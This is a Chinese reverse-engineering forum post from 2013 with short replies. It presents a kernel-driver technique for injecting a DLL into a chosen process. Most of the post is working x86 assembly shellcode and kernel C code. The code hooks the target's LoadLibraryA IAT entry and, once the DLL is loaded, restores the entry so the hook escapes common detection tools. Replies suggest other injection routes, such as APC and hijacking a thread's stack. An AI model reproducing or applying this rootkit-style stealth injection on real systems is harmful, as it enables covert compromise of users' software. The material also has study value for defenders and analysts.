首页
社区
课程
招聘
[原创]内核ShellCode注入的一种方法
发表于: 2013-5-4 04:34 20493

[原创]内核ShellCode注入的一种方法

2013-5-4 04:34
20493

最近学习内核注入,看见一篇老文章《rootkit之[七]IAT Hook -- HybridHook之终极打造》链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode在ring3下弹出一个消息框,于是想利用此方法来进行内核注入,但不想惨遇蓝屏,于是翻书多日并琢磨摸索,终于成功,详细如下

一、先写一段shellcode
主要思路是:
1、        程序开始加载时,通过内核修改LoadLibraryA在其IAT中的地址,指向我们的shellcode
2、        Shellcode中首先调用LoadLibraryA加载我们要注入的Dll
3、        通过PEB找到kernel32.dll基地址
4、        调用GetAPI搜索kernel32.dll找到VirtualProtect的地址,开始用了别人写的一个GetAPI,老是出问题,就自己写了个,由于kernel32.dll中FAT和FNT刚好对应,就没用FOT进行判断了(偷懒下,有兴趣的朋友可以自行修改)
5、        调用VirtualProtect修改程序LoadLibraryA在其IAT中地址的读写属性(不改的话会出现写保护错误),恢复LoadLibraryA正确的地址,这样一般工具就检查不出我们对程序进行了IAT hook了
6、        跳转回LoadLibraryA继续执行
代码:

jmp	ShellCodeStart
	Addr_IAT_LoadLibraryA	dd 402000h				;LoadLibraryA在IAT中的地址,由注入函数写入
	Addr_LoadLibraryA 	  	dd 7C801D77h			;LoadLibraryA的地址,由注入函数写入,在ShellCode + 2 + 4处
	Addr_VirtualProtectName	db	"VirtualProtect",0	;VirtualProtect名称的地址
	Addr_LoadDllName		db	"InputDll.dll",0
	
	
	ShellCodeStart:
	push	ebx
	push	ecx
	push	edx
	push	esi
	push	edi
	push	ebp
	
	xor 	ecx, ecx								;查找kernel32.dll基址放入eax,xor ecx, ecx不可丢
	assume 	fs:nothing
	mov		esi, fs:[30h]							;取PEB
	mov 	esi, [esi+0Ch]
	mov 	esi, [esi+1Ch]
	InInitializationOrderModuleList:
	mov 	eax, ds:[esi+8]
	mov 	edi, ds:[esi+20h]
	mov 	esi, ds:[esi]
	cmp 	WORD ptr ds:[edi+18h],cx
	jnz 	InInitializationOrderModuleList

	
	push	ebp
	call	RelocLocation							;push eip,eip = 新RelocLocation的地址
	RelocLocation:
	pop		ebp										;将eip出栈给ebp,ebp = 新RelocLocation的地址
	sub		ebp, offset RelocLocation				;ebp = ebp - offset RelocLocation(原RelocLocation地址)= 新旧地址的差值(参考重定位),后续需重定位的地址 = 原地址 + ebp
	
	mov		ecx, ebp								;取Addr_VirtualProtectName重定位后的地址并压栈
	add		ecx, offset Addr_VirtualProtectName
	invoke	GetAPI, eax, ecx, 14					;调用GetAPI获取VirtualProtect的地址
	mov		ebx, eax								;将获取的地址放入ebx中

	mov		eax, ebp								;取Addr_LoadDllName重定位后的地址并压栈
	add		eax, offset Addr_LoadDllName
	push	eax
	lea		esi, [ebp + Addr_LoadLibraryA]			;取Addr_LoadLibraryA重定位后的地址,并调用LoadLibraryA
	call	DWORD ptr [esi]							;API为stdcall调用,自平衡堆栈
	
	mov		edi, [ebp + Addr_IAT_LoadLibraryA]		;取LoadLibraryA在IAT的地址
	push	eax										;随便压栈一个数,我们要用这个数的地址作为VirtualProtect的lpflOldProtect的地址,因为ShellCode的代码段不可写,只能用堆栈返回
	
	push	esp										;调用VirtualProtect修改IAT的写保护
	push	PAGE_READWRITE
	push	4
	push	edi
	call	ebx
	
	pop		eax
	
	mov		eax, [esi]								;[esi] = LoadLibraryA的地址
	mov		[edi], eax								;将LoadLibraryA在IAT的地址改为IDHookLoadLibraryA的地址
	
	pop		ebp										;平衡
	pop		ebp
	pop		edi
	pop		esi
	pop		edx
	pop		ecx
	pop		ebx
	
	jmp		eax										;跳转至LoadLibraryA继续执行
	 


GetAPI proc _Kernel32Base:DWORD, _szAPIName:DWORD, _APINameLength:DWORD
	local	@SizeOfFNT:DWORD
	local	@APIAddr:DWORD
	
	pushad
	
	mov		ebx, _Kernel32Base
	assume	ebx:ptr IMAGE_DOS_HEADER
	add		ebx, [ebx].e_lfanew                         ;取PE的首地址,即PE标志位
	assume  ebx:ptr IMAGE_NT_HEADERS
	mov		ebx, [ebx].OptionalHeader.DataDirectory.VirtualAddress
	add		ebx, _Kernel32Base
	
	assume  ebx:ptr IMAGE_EXPORT_DIRECTORY
	mov		eax, [ebx].NumberOfNames											;将函数总数乘以4,得FNT表大小
	shl		eax, 2
	mov		@SizeOfFNT, eax
	mov		edi, [ebx].AddressOfNames											;获取输出表API名称查询表(FNT)RVA
	add		edi, _Kernel32Base													;获取输出表API名称查询表(FNT)内存地址
	mov		esi, _szAPIName
	mov		ecx, _APINameLength
	xor		edx, edx
	xor		eax, eax															;eax置0

	.while  edx < @SizeOfFNT													;遍历Dll所有函数名称,当计数edx=Dll函数总数时退出循环
		
		push	ecx																;保存字符串长度
		push	edi																;保存edi,比较API名称
		push	esi
		
		mov		edi, [edi]														;取API名称的RVA
		add		edi, _Kernel32Base												;取API名称的内存地址
		cld
		repe	cmpsb
		
		pop		esi																;将esi重新指向_szAPIName首地址
		pop		edi
		pop		ecx
		jnz		FAA_FindExportAPIAddr_NoFind									;如果ecx=0,说明函数字符全部相同
		mov		eax, [ebx].AddressOfFunctions									;取FAT表RVA
		add		eax, _Kernel32Base												;取FAT表RVA内存地址
		add		eax, edx														;取查找函数FAT表项的地址
		mov		eax, [eax]														;取查找函数的RVA
		add		eax, _Kernel32Base												;取查找函数的内存地址
		mov		@APIAddr, eax
		.break																	;找到则退出循环
		
		FAA_FindExportAPIAddr_NoFind:
		add 	edx, 4															;计数+4指向下一个FNT表项
		add		edi, 4															;edi指向下一个FNT表项
		
	.endw	
	
	assume	ebx:nothing
	popad
	mov		eax, @APIAddr
	ret	
//名称:HookIAT
//功能:将要Hook的IAT地址换为我们shellcode的地址,并将原IAT地址替换为shellcode中要调用的地址
//参数1:_ProcessID= 加载进程的PID
//返回:成功则返回TURE,否则返回FALSE

BOOL HookIAT(IN HANDLE _ProcessID,  IN PUNICODE_STRING _FullImageName)
{
	PEPROCESS	pEProcess;
	PVOID			hModule, pHookAPIAddr;
	BOOL			HookIAT_Ret = FALSE;

	if (PsLookupProcessByProcessId(_ProcessID, &pEProcess) == STATUS_SUCCESS)
	{
		if (CheckProcessName(pEProcess->ImageFileName, HOOKPROCESSNAME) && (staHookFlag == FALSE))
		{
			KdPrint(("加载Dll=%wZ\n", _FullImageName));
			//KdPrint(("_ProcessID=%x\n", (ULONG)_ProcessID));
			//KdPrint(("pEProcess=%x\n", (ULONG)pEProcess));
			KdPrint(("进程名称=%s\n", pEProcess->ImageFileName));
			hModule = pEProcess->SectionBaseAddress;
			//KdPrint(("基地址=%x\n", (DWORD)hModule));

			KeAttachProcess(pEProcess);														//切换至ring3空间
			
			pHookAPIAddr = FindIATAddr(hModule, HOOKDLLNAME, HOOKAPINAME);
			
			if (pHookAPIAddr)
			{
				if(InjectCode(pHookAPIAddr))
				{
					staHookFlag = TRUE;
					KdPrint(("ShellCode注入成功"));
					//UnInjectDll();
				}
				else
				{
					KdPrint(("ShellCode注入失败"));
				}
			} 
			else
			{
				KdPrint(("%s函数的IAT地址未找到\n", HOOKAPINAME));
			}
			
			KeDetachProcess();
		}
	}

	return HookIAT_Ret;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 6
支持
分享
最新回复 (12)
雪    币: 143
活跃值: (263)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
2
不是吧,沙发
2013-5-4 06:37
0
雪    币: 22
活跃值: (443)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
标记一下 ~支持LZ.
2013-5-4 08:13
0
雪    币: 350
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
MARK 支持一下
2013-5-4 10:33
0
雪    币: 608
活跃值: (648)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
内核代码注入实际有很多办法~感觉你这个有点太兴师动众了~
在NT5上可以用APC
NT6上可以用ZwCreateThreadEx,就是得要搜索,麻烦点~
2013-5-4 10:57
0
雪    币: 496
活跃值: (286)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
6
不错,不过选择loadlibrary作为切入点是不是有点麻烦?我也提一种吧,加个Create process notify,挂起目标主线程,写shellcode到进程空间,修改用户空间栈写入返回地址,恢复主线程,走起。
2013-5-5 17:36
0
雪    币: 228
活跃值: (115)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
7
前排.....前排....
目测还可以来个移魂大发...把模块隐射进进程空间.然后硬件EIP走起....神不知鬼不觉.
2013-5-6 15:24
0
雪    币: 1136
活跃值: (683)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
收藏了,慢慢看
2013-5-6 15:55
0
雪    币: 30
活跃值: (54)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
麻烦 5 6 7 给个小例子, 可以编译通过运行的来看看啊?
2013-5-10 15:30
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
收藏里,谢谢楼主分享
2013-6-4 09:46
0
雪    币: 222
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
学习...
2013-6-10 14:56
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
麻烦 5 6 7 给个小例子, 可以编译通过运行的来看看啊?
2013-6-10 15:52
0
雪    币: 77
活跃值: (48)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
mark
2014-1-22 20:54
0
游客
登录 | 注册 方可回帖
返回
//